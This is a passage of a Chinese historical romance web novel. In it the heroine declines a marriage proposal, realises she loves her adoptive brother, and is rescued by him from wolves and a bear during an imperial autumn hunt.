沈安乐圆乎乎的小脸从营长外探了进来,关切问道:“听丫鬟说你没睡好,我还怕饶了你休息。”
“才醒,你怎么找来了?”
“这不是秋猎第三日,我又在沈家没事做呀。”
姬时语探问:“你兄长呢?沈大人今日可去了围场?”
“没有。”
姬时语诧异,早上才听姬合英说身带官职的,都得了弘文帝的命令,要入围场秋猎。
“他不善打猎,便不乐意再去了,兄长特意向陛下告了假,今日休息。”
沈安乐进屋,姬时语颔首,便见沈安乐随处一个瞥眼,惊讶道:“时语,有人给你抓了一只小兔儿?”
姬时语瞧过去,沈安乐指着角落里缩成一团的野兔崽子。
是江曜给她捉的那只。
姬时语笑应:“是哥哥抓来的。”
“啊,这样就好可惜了。”
沈安乐突感一阵遗憾,她无端感慨,引来姬时语的注目,“可惜什么?”
“呃,也不是,我便是有感而发,哈哈。”
沈安乐岔开了话,她悄咪咪凑近了些,“时语,我今早来时发现,柳瑾柔受了伤,瞧着严重的很。”
“她?”
姬时语真忍不住冷嗤。
沈安乐疑惑,“你知道这事?”
“我不知道,你同我说我才晓得呢。”
“也不知她出什么事了,柳家又是严防死守的。”
姬时语起了身,她撩开营帐欲出去,沈安乐紧随其后,边走边说:“对了,我还听说,柳家大小姐柳瑾瑜,哭着从二皇子殿下的营帐里跑了出来。”
“柳瑾瑜和二皇子殿下?”
姬时语脚步一顿,明亮的眸轻一抬,不远处柳家姐妹刚巧从营帐而出。
柳瑾瑜一双眼红红,真是哭过一通的样子,而柳瑾柔脸色一片苍白,她耷拉着脑袋,脖颈皆被布缠紧裹满了。
沈安乐悄悄说:“柳瑾柔伤的是喉咙,这会儿说话都难了。”
姬时语眯眼,心下冷哼。
她知道的是,柳瑾柔半夜求见送去花_药,蓄意勾_引江曜,打着两人坐实那等事的关系。
让江曜不得不娶她。
而江曜吞了药,发怒之下,铁定重伤了柳瑾柔,这伤就是柳瑾柔以下三滥手段换来的苦果。
真是活该。
迫于无法,江曜午夜入了她的营帐,干出了荒唐之事。
柳瑾柔害的她光风霁月的云让哥哥,这般的委屈。
还让她和江曜之间,顿生出了一股尴尬,害她一夜未眠。
而罪魁祸首就是柳瑾柔。
姬时语怎能不恨。
“时语,时语?”
沈安乐喊了姬时语几道,姬时语方回神,她又抓了姬时语的手腕,“你没事吧,我看你脸白的吓人。”
“没事,昨夜没睡好,这几日都得好好休息了。”姬时语换上笑脸。
“你要照顾好自己啊。”
沈安乐叮嘱了姬时语好几句,她都一一应了好,身前圆乎乎的姑娘突然朝后看去,她笑意变大。
“对了,我兄长今日也来了。”
姬时语回了身,沈南怀一袭青衫,随午后清浅的秋风而来。
温润和煦,明朗端方。
“五小姐。”
沈南怀浅笑,他双手朝后背了背,姬时语却眼尖的瞧见,一双毛茸茸的兔耳朵被他攥紧。
姬时语好奇问:“沈大人也抓了兔子?”
沈南怀脸红,掩饰似的咳嗽了一声。
“时语,我同你说,那兔子就是我兄长特意抓的。”
沈安乐眼珠打着转,笑嘻嘻挽住姬时语手臂,巴不得自家兄长心事昭告于天下,“听说你喜欢小兔子,昨日兄长寻了好久,终于捉了一只活的幼崽。”
姬时语眼眸流转,笑道:“沈大人有心了。”
沈安乐遗憾又说:“只可惜你已经有了一只了。”
是啊,江曜已给姬时语捉了一只,沈南怀晚了一步,先来后到,姬时语还能心生欢喜吗?
沈安乐不知道。
沈南怀的心亦是生了刺痛,然而他还是笑着将小兔子捧到姬时语面前,“五小姐,这是我的一点心意。”
小兔子于姬时语而言,并不是珍贵之物。
但她看清沈南怀十根手指被刺破的裂口,十分显眼,心里还是生起了涟漪。
姬时语问:“沈大人不善于捕猎吧?”
沈南怀闻言窘迫,“是不太会。”
一个全然无措不会捕猎的沈大人,为了抓一只兔子定费尽了心思,姬时语十足感谢旁人待她以真心。
“沈大人。”
姬时语笑着说:“你
的心意我领了,谢谢你全了我的心愿。”
“五小姐,我……”
沈南怀还有些失落,以为被姬时语拒了,谁知姬时语已让萍亭接下小兔子。
这番之下,沈南怀心花怒放,唇边的笑愈发开怀。
第74章
天色澄净,层林尽染,枫叶红火,似一片金红铺陈满了山道,姬时语脚下不疾不徐,衣摆扫过这片火红,走的轻轻。
沈安乐兄妹跟随她脚步,不知不觉间,竟来到了围场之地。
“时语,你来这地方做什么?”沈安乐四下环顾。
沈南怀却是拧眉,微微起了担忧,“围场猎物众多,还是不要久留。”
“姐姐说过,不入围场深处的话,是遇不上猛兽的。”
姬时语轻笑,她又朝前走了几步,话语间让两人安心。
沈安乐紧跟她身后,生怕离得远了,自己忐忑之心更甚,没的庇护。
沈南怀叹口气,亦是跟上两人。
他身为三人之中唯一的男子,势必要护住两个小姑娘。
不过姬时语并未深入林中,她走至一处灌木丛,便止了步子,复而回身喊了萍亭和萍柳过来。
两个丫鬟一人捧着一只兔子,江曜和沈南怀抓的都在。
沈安乐问:“时语,你怎么把兔子也带着了?”
只听姬时语道:“放了吧。”
“啊?你不是心心念念要兔子吗?”
沈安乐只当自己听错了,“抓回来又放走?时语,你不喜欢了?”
“我只是觉得没必要将野外的幼兽拘在我那儿,它们本就该生长在这树林里。”
姬时语眼眸弯弯,她望向沈南怀,有些歉意地问他道:“沈大人不会怪我任性吧?你才送给我,我便要放归山林,是对不住你的心意了。”
“不会。”
沈南怀眼中一片清明,他脸上没有责怪之意,“东西既然送给五小姐,便任由五小姐处置。”
“谢谢你。”
姬时语真的觉着沈南怀是个好人。
莫怪他能和未来姐夫薛淮璋做知心友人。
沈南怀和薛淮璋两人品性相当,皆是尊重他人之人,又懂得体贴,为人处事很是如沐春风。
有这样清正的人入朝为官,亦是朝廷之幸。
“沈大人应知晓我姐姐和薛大人已定下了亲事,明年年初大婚。”
“嗯,此事我知道。”沈南怀应。
姬时语不知想到了什么,眼眸一弯,打趣起沈南怀,“沈大人和薛大人年岁相当,安乐亦是已定了亲,你就没想过娶一房夫人?”
“这……”
秋叶红火,染红了沈南怀的脸,沈安乐一听姬时语这话,乐了个开怀,直接是捧腹大笑起来。
姬时语疑窦看她,“你笑什么?”
“哈哈哈,要不你自己问我兄长吧。”
沈安乐给沈南怀挤眉弄眼。
沈南怀耳根子滚烫,他清了清嗓子,抬眼带了几分温柔,“五小姐,可否借一步说话?”
“啊?”
姬时语没多想,应他:“好。”
两人绕开沈安乐,去了另一枫树之下站定,沈南怀双手交握,是有点忐忑。
“五小姐,你方才问我可愿意婚配,实不相瞒,我是愿意的。”
姬时语点点头,“那不是很好吗?”
“可是,我不清楚我喜欢的姑娘的心意,不敢贸然。”
就在这一刻,沈南怀抬头,清和的眼眸正视着姬时语。
火红枫叶落满山道,风中荡开了他的嗓音,和一颗炽热的心。
“我不想她太为难,看着她每日欢欣,我心里也很知足了。”
沈南怀笑望着她,说道:“我期盼她能明白我的心意,又希望她不明白,这事有点难办,五小姐能懂吗?”
“你……”
“若是她能应下的话,不说何时了,明日我就请母亲登门造访。可是,你愿意吗?”
沈南怀清秀的脸目不转睛,他说到最后,吐出了一个“你”字。
姬时语心跳如擂鼓,她心中大骇。
原来沈南怀爱慕之人,竟然是她自己!
怎么会这样?
是从何时起,沈南怀竟然想要娶她为妻?
姬时语下意识后退了一步,脚下枫叶响起细微动静,她好似回了魂。
看出她眼底的慌乱,沈南怀蹙眉有些担忧,“五小姐,你没事吧?”
姬时语不敢对视了。
她瞥开头,似乎不看沈南怀,心里便能好受一些。
可是脑子里还是乱糟糟的,沈南怀的意思,真是他心悦自己,在询问她可愿意嫁入沈家?
嫁入沈家,嫁给沈南怀为妻。
沈家确实是个不可多得的好人家,沈南怀家世清白,家中人丁简单,没让人头疼难缠的亲戚,且他还是入了仕途,日后不会官路太低。
嫁去沈家,还能免除弘文帝对忠义侯府的猜忌。
白家是怎么覆灭的?
功高盖主!
如今的忠义侯府,忠义侯姬雄武镇守岭西,嫡长女姬合英身披官职,而江曜,更是明威将军。
侯府之中,竟有三位当朝大将,别家如何能比?
忠义侯府这颗滔天大树,长女姬合英已定下和尚书府的亲事,余下她这个幺女,得爹娘宠爱,集所有人的疼爱于一身。
必将受弘文帝关照。
若她嫁入皇家,甚至会翻动立储风云,姬时语不愿意搅动这汪浑水。
而两门武将联姻,兵权只会更强盛,这绝不是弘文帝乐意见成的。
沈南怀之父乃工部侍郎,沈家门第不低,又长久清白,和尚书府薛家一样,得圣心。
十分安定。
可是姬时语后背又起了冷汗。
“五小姐?”
姬时语脸色白的厉害,沈南怀担忧地上前,他抬手想要触碰她。
然而下一刻,姬时语如惊弓之鸟,再度后退了一步。
沈南怀瞧见落空的手,心头失落之意深深,他苦涩一笑。
“我明白你的意思了。”
沈南怀垂眼。
姬时语后知后觉地一惊,她的身子竟不由自主地避开了沈南怀的接近。
就好像,她很不愿意和他亲密一样。
为什么会这样?
沈南怀这样好的公子,又尊重她的心思,在京城再难寻一人。
她打心底却不愿意。
不,不,她虽然觉着沈南怀人很好,但她从来没对沈南怀生出过男女之情的心思。
因为不喜欢,沈南怀说出想要娶她,她下意识的便是不愿意。
反而,江曜,她的云让哥哥,他屡次亲密触碰于她,她只会羞红脸,却从来没有抗拒过。
姬时语的双手在颤抖,一种难以言喻的可怕念头随之浮现。
对外男她百般抗拒,对江曜她从来很习惯亲近。
江曜中了药,需要疏解,她竟然都能纵容他的亲吻、靠近,还有啃咬舔舐肌肤。
这似乎不像只是兄妹之间的感情。
她的心不对劲了,她不会真的对江曜,动了心思吧?
她心动江曜吗?
“五小姐,你发病了?你的脸色好难看。”
沈南怀已是顾不上太多了,姬时语的身子亦是在抖,小脸煞白煞白的,他忙去搀扶她。
姬时语拂开他的手,道了谢,转而道:“我没事,可能是晒太久了,我昨夜又没休息好,所以……”
“那我们还是回去吧,今日是我唐突了,对不住你。”沈南怀满嘴苦味。
他没想过自己一时吐露心声,竟让姬时语受了如此之大的惊吓。
忠义侯府的五小姐心中,该是没有他的。
沈南怀怅然失落,一股挫败席卷他全身。
姬时语眼中愧疚,“该是我说对不住,我不该问你那件事的。”
“无碍,这本就是我的私事,我将心意告知于你,接不接受在于你。”
沈南怀笑得坦荡,他总是这样,温温柔柔的待人,不计后果。
姬时语后知后觉哽咽了几分,她说不出重话,可她又不能给予沈南怀希冀。
那样只会对爱慕她的人更为残忍。
“沈大人,我无心于你,这是我的实话。”
短短片刻之间,姬时语已明晰了自己的心意。
自打她将江曜捡回忠义侯府,至今已有六年,两人从小亲密无间,可以说如青梅竹马般长大。
她的哥哥江曜,从儿时执拗凉薄,到如今被她教养的清润明朗,行事已有了君子之风。
她素来爱的模样,似乎全都集于了江曜一身。
意气风发的少年将军,笑眼之中唯有她 ,他待她温柔,何事都愿意听从她的。
是她前世今生两辈子最爱的样子啊。
这样的江曜,她会心动,似乎并无不妥?
江曜已不是前世那个执拗病态的楚小王爷,姬时语坚信她将少年养育的很好。
那她的好感之人,会成了江曜,好像也说得过去。
因此,她不能给沈南怀任何回应了。
即使她不喜欢江曜,她也不会喜欢沈南怀。
她还不是很清楚自己对江曜的心意有多深,但可以很明确一件事。
她是真的喜欢上江曜了。
姬时语说道:“沈大人,你值得被更好的姑娘爱着,那个人兴许不是我,但会有这么一个人的。”
她希望沈南怀也能寻到那个她。
对此,沈南怀只是回了笑。
沉重的吐出一口气,沈南怀应她:“好,我会的。”
“我们回去吧。”
枫叶抖落,姬时语用手心接下一片树叶,她笑意盈盈,脚下转了个头,便要往沈安乐那处回去。
山道积落的树叶霎时被吹飞上了天。
“天啊!救命!”
沈安乐凄厉惨叫。
“安乐!”姬时语大喊。
树林之中窜出一成片幽暗狼眼,不过眨眼,狼群便将三人团团包围。
沈安乐已吓破胆,“哪来的狼?”
狼群如被点了鬼火,瞪着通红的眼,林中弥漫着血腥之气。
狂风呼啸,狼首嗷呜一声,野狼迅疾朝三人扑来。
“五小姐!”
姬时语来不及反应,便被沈南怀扑倒在地。
一只狼咬上了他的后背,尖利牙齿撕咬拽扯,沈南怀痛苦闷哼。
鲜血啪嗒落在了姬时语脸上,她扬头大喊。
“宁乐,宁心!”
宁家姐妹迅速飞来,两道暗影一个利落下劈,杀了沈南怀身后啃咬着的两只狼。
宁乐扶起姬时语,姬时语大喘气,“快,想办法救他们。”
“狼群太多,小姐,我们杀不完,必须要送你们走。”宁乐沉着道。
“能行吗?”
沈南怀后背血肉模糊,此刻已露出森森白骨,痛得他浑身止不住的颤抖,他撑在地上,艰难到爬不起来。
沈安乐被沈南怀一个用力,推到了姬时语怀中。
“你们赶紧走,先送她们离开!”
沈南怀比任何人都清楚,他受了伤,鲜血令狼群兴奋,会引来它们捕猎绞杀。
只要他在,狼群便不会追旁人,亦可换姬时语和沈安乐平安。
第75章
林中深处,江曜骑马踏过几片枫叶,卷起冷风。
今日的他一身墨色云纹骑装,冷面俊容,眼眸冷冽,自林间穿行而过时,眼见奔跑的猎物,便是摘箭搭弓。
一只狂奔逃命的麋鹿在江曜眼前一晃而过,他拉紧缰绳,飞快跟上。
手里弓箭收紧,箭矢搭上弓,瞄准猎物,疾驰中射出。
尖锐的鹿鸣破空啸响,健硕的麋鹿应声倒地。
江曜得手后并未停歇,林中深处猎物甚多,麋鹿逃窜,带起林间兽群,他骑马奔驰,飞快搭弓连珠疾射。
只肖一刻钟,麂子、狐狸、鹧鸪纷纷落地。
“吼——”
最后轰隆一声巨响,一只近人高的巨大黑野猪被江曜连射五箭,终是咽气倒了地。
江曜走近,清点猎物。
今日狩猎收获颇丰,他的骑射一向不错,对此他很有信心。
因临行前,姬时语说过,她好期盼江曜能夺下头筹,因此江曜今日卯足了劲地捕杀猎物。
“啪啪啪。”
林中突兀的拍掌声引得江曜拉了缰绳,侧身回头。
只见火红的枫林之中,钻出江承运和江承北的两道身影。
两人一前一后,江承运头戴紫金发冠,拍手为江曜叫了好。
“明威将军的弓法十分之高嘛。”
江承运走在前,目光咄咄逼人,嘴角尤带笑意。
江承北在后,他垂首低眉,神色不明。
江曜调转马头,眼中没有情绪,“大皇子殿下。”
“弓法再高,武艺再强,今日的头筹也不该你拿,明威将军应知道这场秋猎是为本殿下和皇弟而准备。”
江承运毫不掩饰,直接就说:“你的这只野猪,本殿下笑纳了。”
“殿下。”江曜迎面而上,“我可没说要给。”
“怎么,你想抗皇族?江云让,你不过一个得了点军功的草民布衣,本殿下希望你识趣一点,不要做出以卵击石的蠢事,这样还能保住你的性命。”
回江承运的是江曜的冷笑。
江承运怒了,“你笑什么?”
“笑殿下不自量力。”
江曜拉了马,同样坐于马上,他懒懒掀着眼皮,冷意四下而起,是压根没把江承运放在眼中。
正眼也不带瞧一眼的。
江曜望向江承北,“三皇子殿下亦在,殿下强占我的猎物,是真不怕三殿下作证啊。”
“他?三皇弟不敢。”
江承运嗤笑了一声,“毕竟三皇弟的母妃,父皇连西宫也不让进呢,三皇弟又怎么会入父皇的眼?”
听他这话,江承北攥着缰绳的手,是颤抖着的攥紧。
江承运还在得意洋洋,殊不知江曜已从箭篓摸出一支箭来,搭上了弓。
江曜自顾自地拉开,箭头对准了江承运。
江承运脸色大变,“江云让,你想杀我?来人哪,给我将这人拿下!”
“我只是想见识下殿下的骑射本事罢了。”
江曜朗笑。
霹雳弦惊,江承运惶恐大嚎,那只箭却精准射中了他的紫金玉冠,钉在了冠中。
江曜根本没想杀他。
江承运却被吓得屁滚尿流,江曜勾唇,低声冷嘲:“皇室是一个比一个没用。”
“你在蔑视皇族?这是大不敬!江云让,我看你是不想要你的脑袋了!”
“大皇子此话说的有误了,我一没杀你,二没伤你,你凭何定我的罪?”
“你!”
江曜有恃无恐,江承运拿他没辙。
但是江承运还是一声令下,命侍卫将江曜团团围困,他要拿江曜是问。
“皇兄,不要胡闹了,你抓江云让,父皇只会大失望。”
这时江承北插了嘴,“这是秋猎场,不是刑部牢狱。”
“你还管起我来了?”江承运脸黑瞪眼。
江承北这回也无惧他,哼道:“父皇没让皇兄领队,皇兄就该自我反省了。”
“你!”
江曜没心思看两位皇子互相攀咬,他让人收捡猎物,便欲打道回府。
“公子,林二点了信号弹寻求支援,是小姐遇险了。”
这时林一突然却现了身,神色焦急,“小姐此刻就在林中,多半遇上了猛兽袭击!”
“阿锁入了林?”
姬时语的一举一动,早已被江曜日夜监视。
林二出事,便意味着姬时语出事。
听闻姬时语撞见猛兽,江曜瞳孔骤缩,是目眦尽裂。
“去找!”
江曜拉马飞驰,迅速钻入林中,身影消失殆尽。
……
“哥!”
“快走!”
林中余下沈南怀的嘶吼。
“宁乐,你留下掩护沈大人和萍亭萍柳,宁心,我们走!”
姬时语咬牙爬起身,她一把拽过不知所措的沈安乐,提步往山道之处狂奔。
宁家姐妹一个留下,另一个随行护姬时语二人。
“嗷呜——”
狼群嚎叫,姬时语心跳声更快。
眼见山道便再眼前,她顿时一喜,指着前头便道:“安乐,我们冲过去,
回了营帐之地就好了。”
“好!”
沈安乐振作起来,挽起烦扰的衣裙,一路快跑。
可是突然,宁心身影飞速跃下,她冷声高喊:“小姐,得换路!”
两人本见回程路途便在跟前,几步之遥便能逃离树林,姬时语刚爬上山道,不远处冒出来的乌压压的兽瞳,令她转瞬后退。
“路被狼堵住了。”
宁心护着二人,以免狼群随时扑上来抓咬。
“走,回头跑!”
姬时语咬牙,时候紧迫,等不及再多想了,她拽住沈安乐的手腕,当机立断,扭头往山道下坡快跑。
回程被阻断,她们只能在林中逃窜。
可是,这些狼也太多了,宁心的意思她们不得纠缠,一旦被狼群围困,只有被撕碎这一个下场。
必须跑!
“为什么会冒出来这么多狼啊?”
“不知道,我不知道。”
姬时语还算沉着冷静,只是眼底犹有几分乱。
“今日真是倒大霉了,哈……”
沈安乐只觉得一颗心快跳出胸膛了,尽管一直都有姬时语带着她跑,但是不一会儿,她便精疲力竭,稳不住身子了。
“时语,我好累,呼……好累啊,我跑不动了。”
沈安乐几近不能呼吸,她喘着大气,双腿沉重的如铁锤,每迈开一个步伐,都觉着用尽了全身的力气。
“我们得走,安乐,你想死在这里吗?”
姬时语将瘫软沈安乐拽了起来。
“时语,我真的不行了,腿、腿不听使唤。”
沈安乐眼有泪水,大难临头,情难自控,忍不住便呜哇地哭了。
姬时语亦是累的够呛,只是稍一侧头,余光瞥见步步逼近的狼群。
她知道她们不能停,一旦止步,便要落入狼口。
秋风滚滚,几只狼从山坡一跃而起。
“宁心!”姬时语高喊。
宁心掏出几把飞刀,唰唰直插入狼身,眨眼便死了三只,还有三只狼跃下,落在了几人身前。
狼群凶恶地盯着,龇牙咧嘴。
“时语,我们会不会死在这儿啊?”
沈安乐跌倒在地,战战兢兢,颤抖着握住姬时语的手腕,她的眼泪越流越多,止都止不住。
说不害怕是不可能的,可姬时语还是挡在了沈安乐身前。
“小姐。”宁心回喊。
“嗷呜……”
狼们正在逼近,姬时语眉头紧蹙。
“小姐。”
宁心已是取下佩剑,她身子挺直,话语沉稳落地,“若小姐信属下,不论前方险阻,属下亦会拼杀至最后一刻。”
“我当然信你!”
宁心不语,提剑而上,狼群一阵躁动,群狼嘶吼,齐齐张开血盆大口朝三个人扑来。
“不要啊!”
沈安乐缩在姬时语怀里,绝望地闭上了双眼。
黑影飞窜,林中很快又钻出一道身影,一排飞刀接连甩出,顷刻间,众狼倒了地。
宁心飞快回头,冲到姬时语身前,执剑凝望。
几个人手边的树干之上,一个蒙面的少年蹲坐在上,他的一双眼睛裸_露在外,静静俯视着姬时语。
“是你。”
宁心收了剑,态度仍冰冷,“说,是谁派你来的?”
林二侧头,他不语,像是个哑巴。
他只是安静地环顾林中狼群,缓慢地单手从腰间抽出了长刀。
姬时语拧眉:“宁心,你认识他?”
“不认识。”
宁心如实禀报,“小姐,方才在林中,他就一直跟着我们。”
“是敌人?”
“不像是。”
姬时语再去望树上的林二,他正在端望狼,并未留意几人,她大胆猜想:“他是来帮我们的!”
她想,这少年,该是忠义侯府的人。
宁心又问:“小姐,怎么办?”
姬时语又陷入思忖。
三只狼不足为惧,为难的是跟在他们身后的,不断自山坡冒出来的狼头。
源源不断似的,好像成千上百头的狼皆聚集于此。
是杀也杀不完!
宁心一人不足以阻挡这样之多的狼群,偏偏沈安乐走不动道了,她们无处可逃!
该死的。
她必须想个法子,不能让性命交代在了这里。
若是她只有宁心,她不敢赌。
可如今,她又多了一个帮手。
对啊,她还有帮手。
姬时语朝树上的林二大喊:“喂,你会来帮我们的对吗?”
林二回了头,他看向姬时语,几乎呆滞地点了点头。
姬时语终于是笑了,她说:“宁心,把剑给我。”
“小姐,你要做什么?”
宁心不解,她还警惕着,不时回头注视狼群的动作,生怕狼们异动,她好还击。
然而沈安乐的喊叫响起:“时语!”
“哗啦”一声,姬时语握剑在左手手心抹了一把,一道鲜血淋漓的口子赫然落下。
“小姐!”宁心慌了,“你怎么伤了自己?”
“宁心,我无碍。”
姬时语却笑着把剑还给宁心,“不要担心,我是故意的。”
滴答滴答。
她的血染红了脚下的枫叶。
鲜血的腥味瞬间在枫叶林中弥漫,围着一行人的狼们嗅到血的气味,个个躁动起来。
狼爪在地面刨动,血液沸腾,绿油油冒着红光的眼锁住了受伤的姬时语。
姬时语睨眼,眼眸平静似水。
狼要来了。
“宁心,你守着安乐,树上的那个,跟我走!”
姬时语喝令而下,她扬手,忍着手心的痛意,一个挥手,鲜血便朝着狼群洒去。
“时语!”
沈安乐的泪水模糊了双眼,可她还是看清楚了姬时语的动作,她伤了自己,是为了——
救她。
“斯哈……”
狼群尽数朝姬时语扑来,她提起衣裙,往林中狂奔。
一张小脸紧绷,姬时语根本不敢回头。
林二一路跟随,风声飒飒,姬时语几乎不用抬头,也知道树上有个来回飞窜的少年。
背后不时有飞刀插入,重物落地的声响。
有人在护着她。
姬时语勾了唇,心中稍稍安定了几分。
跑了许久,姬时语仓惶回了头,只见身后仍有十几只狼紧追不舍,她再度抬头,问树上的林二。
“还能降伏吗?”
林二没说话,他摊开手心,摇了摇头。
姬时语竟然看懂了他的意思,他在说,自己没有更多的飞刀了。
“我明白了,那就跑吧!”
姬时语也不犹豫,能杀了狼更好,杀不了那便走为上策。
穿过几棵枫树,林中树丛繁多,勾破了她的衣衫,变得褴褛破烂,姬时语没功夫去管。
脚下枫叶越踩越厚,行走便得艰难,然姬时语半点也不敢停下,强撑着往前跑。
泥土沾黏,枫叶盖过她的脚腕,身后还有狼在追逐。
姬时语一个不察,脚下踩中一块大石,石头不稳。
扑通——
她脚腕一崴,摔倒在地。
面皮直直磕上了泥堆,鼻子里全是泥土臭味,姬时语撑着地赶紧爬了起来。
林二迅速下了树,落在了她的身侧。
“嘶,好痛。”
姬时语朝下一瞥,脚腕肿了老高,是真崴伤到了。
朝后一看,短短一刹的功夫,十几只狼尽数追了上来。
林二拔了刀,随时准备与狼群拼杀。
姬时语满身泥泞,破破烂烂还崴了脚,到了这一刻。
她眼里才有了一分灰败。
她是真的疲惫,好累好累啊,一直在逃命。
但是心中有一道信念苦苦支撑,她不能倒下,她要活着。
前世今生两辈子,好不容易她这一世没了心结,姐姐得了圆满,她活得前世还要久,她已是要满十六岁了。
她还要长命百岁!
姬时语想活着。
所以她绝不会让自己倒下。
姬时语忍住脚腕的剧痛,再度站起身,林二担忧看来,她朝他颔首。
“麻烦你掩护了。”
姬时语迈开脚,她疼得呲牙,脚腕受伤,是跑不快了。
她极力克制,试图让自己跑得快些、再快些。
没等姬时语走两步,前头一声嘶吼。
轰隆两
下,一头棕熊虎视眈眈的靠近,它的个头是有两个人之大,这样膘肥肉厚、魁梧威猛的巨兽挡在前。
连狂风也不可撼动,一巴掌落下,她便会归西。
姬时语彻底绝望了。
“啊!”
林二推了姬时语一把,她一个回头,就看少年昂首,急切不断指着身侧的高树。
“你帮我一把!”
姬时语二话不说,忍着伤脚痛处,奋力抱树上爬。
林二在下给她垫脚,让她踩着他的肩膀够上枝桠,好往上爬。
在这千钧一发之际,姬时语费了牛马二五之力,才上了树。
“咚咚咚。”
林二飞身窜上了树,巨熊扑了个空。
姬时语额上冷汗淋漓,身上衣物湿透了,手上鲜血还在流,手脚两处麻木般的疼痛顺着心腔直冲天灵盖。
突然一停歇,身上布满的尽数伤口,一阵又一阵的,钻心似的疼。
痛得她眼尾都飙出泪花了。
姬时语几乎是颓废似的蹲坐在树上,抱着树干大声喘气。
她的命保住了。
她不会死了。
劫后余生,姬时语从来没有这么想哭过,她强忍着泪意,又看另一侧的林二。
“可是,我们怎么下去啊?”
猛兽在树下吼叫,巨熊一个拍掌,狼群不敢再靠近,但熊嗅到了姬时语的气味,在她抱着的那棵树下来回打转。
不时还想爬树。
给姬时语吓得直哆嗦。
林二不吭声,林间唯有安静呼啸的秋风。
不多时,一道清冷嗓音闯入如死寂的枫叶林。
“阿锁!”
“云让哥哥,我在这儿!”
几片枫叶簌簌抖落,姬时语大喜过望,站于树上她眺望而见,江曜骑着大马疾冲下坡,手里执弓,拉了弦。
少年箭法从未落空。
一只穿云箭,直中巨熊的眼睛。
“嗷!”
巨熊吃痛,轰隆轰隆地逃窜,江曜无心去追,他最担忧的是姬时语的安危。
此时的小姑娘一身破烂窝在树上,衣裙摆被扯破碎掉,手臂落着血迹,脸上沾满了泥巴,是说不出的惨烈。
唯有一双浸过了水的猫瞳,又亮又明媚,任何事物也盖不住她的明亮。
“云让哥哥,你终于来了。”
姬时语好生哭闷,是委屈坏了,又抱着树哽咽。
“阿锁,下来。”
江曜在树下张开了双臂。
没有一刻的迟疑,姬时语从树上径直跳了下去。
第76章
姬时语是那么全心地信赖少年。
他让她跳,她便义无反顾地跳。
江曜一把将她接下,稳稳当当的,双手又紧紧的缠抱住了小姑娘。
“呼,阿锁……”
她落于怀中,他的心也归于平处。
江曜揽住姬时语的腰肢,将人卷入怀抱,头颅轻轻贴在她额顶。
他呼出沉重的气,好似满心忧愁终于得到了舒缓。
姬时语一路狂奔逃生,江曜何尝不是疾驰纵马找寻于她。
两人都在劫后余生,大口喘气。
一个紧紧的拥抱,谁也没有开口。
江曜的心跳飞快,他干净的气息包裹着她,尽数慌张与不安,都在少年的怀中被平复了下来。
他冰冷的手小心翼翼捧起小姑娘的脸,指腹轻缓地,一点点擦拭她玉白脸蛋之上的泥土。
姬时语望着他,少年冷寒的狐狸眼溢出心疼,他心疼她受了太多的苦。
江曜道了歉,“是我来迟了,让阿锁受委屈。”
姬时语摇摇头。
江曜从怀里掏出帕子,小心给她擦脸。
凝结的泥块扒拉不掉,稍用点力,小姑娘娇嫩的脸蛋便如玉似的生了粉红。
江曜放弃了。
转而他端起姬时语的左手,在她白皙的手掌心处,一道丑陋的伤疤凝固赤红的血,刺得他眼眶生痛。
他的小姑娘怎么手上出了这么多血?
这段逃生之路,她该有多坚强,不吭声也没哭,几度挣扎爬上树自救。
不敢细想,是心疼又后怕。
江曜将她的手捧到嘴边,问她:“疼吗?”
“不疼。”
姬时语又摇摇头。
江曜笑起来,忍不住真心夸赞:“我们阿锁是天底下最勇敢坚强的姑娘。”
“可是我的脚崴了,好痛好痛,呜呜呜……”
姬时语再也忍不住,眼底泪水蓄意而出,她扑过去,双臂圈住江曜的脖子,呜呜地大哭。
大劫才过,江曜来了,姬时语难以抑制心头的那股委屈和娇气。
她便是好娇气一个人,有江曜在,就想要在他那儿变得特别娇气,让他心疼她。
此时此刻,她只想让江曜做自己的依靠。
“呜呜呜,你怎么这时候才来啊?你不知道我都怕死了,手好疼,脚崴了也肿了,一走路心口都在痛,你才来,呜呜……”
姬时语抱着江曜一股脑地掉眼泪,胡乱的说。
是连他也怪上了。
“你的脚也伤了?让我看看。”
“你别……”
姬时语是真站不稳,她一只脚跛着,用力也不敢,生怕疼得厉害,自己受罪。
“哥哥,做什么?”
江曜作势要扒开她衣裙,姬时语还哭着呢,顾不上眼泪盈盈,拽紧裙子不给他扯,“好过分,哪好意思在这里给你看啊?”
“不看怎么知道伤的重不重。”
“那我也不要在这个地儿,啊……”
姬时语的话未说完,江曜已一个大力抱起她。
他将小姑娘送到了马背上去,让她侧身而坐,双脚便露在江曜的这面。
“别啊!”
姬时语惊呼出声,脚腕却已被江曜握住。
他的手掌出乎意料的大,单手便裹住了姬时语纤细的脚腕,已来不及阻止少年,姬时语的面皮瞬间便红了。
让人看脚踝,还是让江曜看,姬时语多少有些不好意思。
江曜稍稍扯下她的棉袜,果真见她白嫩的脚腕之上,脚踝红肿起好高。
指尖轻轻一点,姬时语疼得直哆嗦,眼泪扑簌地掉。
她又喊:“好痛啊,你不要碰了。”
江曜抬头看她,小姑娘白嫩玉脸可怜兮兮的,一双眼瞳默默落着泪珠,双手揉搓着,又小心着避开手心的伤口。
喊痛时,也是娇娇气气的。
明明被猛兽追时,眼里还一滴眼泪都没有呢。
江曜眼尾挑了下,心中莫名的愉悦,“不是说手不疼?”
“哼哼,我这会儿又疼了,不行吗?”
姬时语坐在马上,她抱起双手,撅嘴故意刁难江曜,“我不管,你得哄好我,不能让我一直哭呢。”
“知道了,阿锁小姐。”
听他真的应她,姬时语更为欢欣雀跃。
少年越是纵容她,她心底一股难言的喜悦便更甚,真是藏也藏不住,唇角扬得老高。
“我们要回去了吗?”
江曜乖顺着她意,让她坐好抓稳缰绳,牵着马便要走。
他点点头说:“你坐稳,我们先回去。”
此时林二已与林一汇合,两人来罢之后,狼群和棕熊陆续被驱逐,林中寂静再无猛兽。
像平息了,可又未全然平复。
姬时语想起沈家兄妹,宁家姐妹被留守照顾几人,也不知怎么样了。
“哥哥,你能不能让林一去寻沈家兄妹还有我的丫鬟?”
姬时语不免起了担忧:“沈大人为了救我们受了重伤,安乐又独自
一人,我担心……”
林一接了话:“小姐放心,我们来时已传信回营帐,请侯爷增派兵入围场救人。”
“那就好。”
姬时语安了心。
江曜牵着马往前走,两人走的极慢。
他顾及姬时语的安危,没有上马带她骑行,姬时语身子虚弱,需要片刻缓解,只能慢行。
姬时语盯着前方少年高挑的马尾,一晃一动,如林中落下的火红枫叶。
惹人眼。
